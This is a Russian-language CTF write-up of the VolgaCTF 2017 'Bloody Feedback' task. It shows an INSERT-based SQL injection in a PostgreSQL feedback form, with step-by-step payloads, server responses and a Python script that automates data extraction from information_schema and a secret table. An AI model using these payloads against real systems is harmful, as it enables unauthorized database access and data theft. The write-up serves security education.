Bloody Feedback - VolgaCTF 2017
Второй райтап будет посвящен таску Bloody Feedback за 100 очков.
Сразу к делу!
Bloody Feedback
Send your feedback at bloody-feedback.quals.2017.volgactf.ru
DO. NOT. USE. SQLMAP
Otherwise your IP will be banned
Send your feedback at bloody-feedback.quals.2017.volgactf.ru
DO. NOT. USE. SQLMAP
Otherwise your IP will be banned
Главная страница:
На первый взгляд - обыкновенная форма, используемая в тасках на XSS.
Попробуем что-нибудь отослать (включая email - захватим как можно больше параметров). Я отослал 1234 и получил следующее:
Меня перенаправило на данную страницу по адресу /submit/ . Перейдем по полученной ссылке с base64 /check/?code=1Vk1SMnmxo5TAr8KbpIQcL3v8G9QNGto :
Можем догадаться, что мы получили бы такой же результат, поместив base64 в данную форму:
И для полноты картины - скрин вкладки Top messages ( /messages/ ):
Можете заметить, что первый пост является тем, что я запостил в форму фидбека.
То есть все, что мы отсылаем, помещается напрямую в базу данных! Вернемся и попробуем протестировать форму на распространенную SQL иньекцию.
После некоторых попыток заметим, что если в email отослать одинарную кавычку и некоторые другие символы, то вылетает следующая ошибка:
Проанализируем:
1. Присутствует SQL injection!
2. По ERROR: DBD::Pg::db становится очевидно, что используется PostgreSQL.
3. Данные идут через запятую + сохраняются в базе данных -> вероятнее всего у нас SQL INSERT Injection.
Начнем раскручивать уязвимость!
Впоследствии следующие запросы были отосланы, используя BurpSuite.
Определим количество колонок:
<<< name=test&message=test&email='),(1)+--+1
>>> INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,[u]email[/u],status)
Вот мы и получили весь запрос. В данном случае в БД вставляются 5 значений (в 4 значении отсутствует фильтрация). Поэтому за основу последующих запросов возьмем следующее:
<<< name=test&message=test&email=','123'),('1','2','3','4','5')+--+1
>>> Check status base64
Далее перейдем по выданной нам base64-ссылке и видим следующее:
То есть из бд нам показывается последняя колонка. То есть по логике, если мы в ссылке /check/?code= вместо base64 поставим значение первой колонки (единицы), то должны получить последнюю колонку, то есть '5'. Проверим:
bloody-feedback.quals.2017.volgactf.ru/check/?code=1
Странно, что то нам помешало..
Потратив некоторое время на изучение формы стало очевидно, что поиск по коду осуществляется только, если длина строки равна длине предыдущих кодов base64, то есть 32 символам. В доказательство протестим следующий запрос:
name=test&message=test&email=',123),('<random_base64>',2,3,4,5)+--+1
Ура, мы смогли вывести последнюю колонку!
Теперь дело за малым. Для начала попробуем вывести версию:
name=test&message=test&email=',123),('<random_base64>',2,3,4,version())+--+1
(Забыл упомянуть - первую колонку нужно все время обновлять т.к. INSERT не перезаписывает значения в базе данных с одним и тем же base64. )
В итоге наблюдаем следующую ошибку:
ERROR: DBD::Pg::db do failed: ERROR: value too long for type character varying(30) at Worker.pm line 29.
Значит в пятой колонке может храниться строка не длиннее 30 символов.
Немного погуглив, находим функцию SUBSTRING(str, from_index, len) - в нашем случае SUBSTRING( ... , 1, 30 ) и обновим наш запрос:
name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING( version() , 1, 30 ) )+--+1
Получилось!
Попытаемся вывести список таблиц, используя данные, взятые из information_schema.tables. Для этого вместо version() поставим SELECT запрос с LIMIT 1 OFFSET X и будем менять индекс Х, отвечающий за вывод соответствующей строки.
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select table_name from information_schema.tables LIMIT 1 OFFSET 0) , 1, 30 ) )+--+1
>>> Your message status is message
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select table_name from information_schema.tables LIMIT 1 OFFSET 1) , 1, 30 ) )+--+1
>>> Your message status is s3cret_tabl3
Думаю далее искать не имеет смысла, у нас есть таблица с очень подозрительным названием. Получим ее колонки:
(все это время base64 изменялся последней буквой, знак = закодирован как %3d в связи со стандартами http протокола)
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select column_name from information_schema.columns WHERE table_name%3d's3cret_tabl3' LIMIT 1 OFFSET 0) , 1, 30 ) )+--+1
>>> Your message status is s3cr3tc0lumn
>>> Your message status is
Вероятнее всего в данной таблице только одна колонка. Выведем ее содержимое:
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 0) , 1, 30 ) )+--+1
>>> Your message status is FLAG1
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 1) , 1, 30 ) )+--+1
>>> Your message status is VolgaCTF
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 2) , 1, 30 ) )+--+1
>>> Your message status is Volga
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 3) , 1, 30 ) )+--+1
>>> Your message status is
<<< name=test&message=test&email=',123),('<random_base64>',2,3,4,SUBSTRING(( select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET 4) , 1, 30 ) )+--+1
>>> Your message status is VolgaCTF{eiU7UJhyeu@ud3*}
Вот мы и получили флаг!
После этого некоторые могут недоумевать - почему я решил, что после пустой строки пойдут какие-либо данные? Все просто - я автоматизировал процесс, а не перебирал вручную.
Вот мой скрипт, перебирающий колонки на последнем шаге:
import requests,random,string
#генератор случайной строки длиной 32 символа (чтобы не было повторений)
def id_generator(size=32, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(size))
#начало перебора строк от 0 до 99
for x in range(100):
#запрос в базу данных для перебора (так же использовал и для information_schema
i = """select s3cr3tc0lumn from s3cret_tabl3 LIMIT 1 OFFSET """+str(x)
#получаем строку-замену base64
rand = id_generator()
#собираем полностью наш запрос в базу данных, учитывая особенности эксплуатации
s = "1',1),('"+rand+"',12,23,34,(select SUBSTRING(("+i+"),1,30)))+--+1"
#отсылаем собранный пакет
r = requests.post('http://bloody-feedback.quals.2017.volgactf.ru/submit/',
data={'name':'1',
'message':'1',
'email': s})
#в случае ошибки SQL синтаксиса выход из программы
if ('DBD::Pg::db' in r.text):
print(r.text)
exit('error')
#иначе переходим на ссылку с результатом и парсим страницу
else:
r = requests.get('http://bloody-feedback.quals.2017.volgactf.ru/check/?code='+rand)
print(r.text.split('Your message status is <span class="label label-info">')[1].split('</span>')[0])
#вывод номера строки
print(x)
Пример вывода программы:
Это все, cпасибо за внимание!
P.S. Особых проблем с его решением не было - большинство можно было нагуглить!
- Автор: drakylar
- Комментарии: 1
- Просмотры: 3545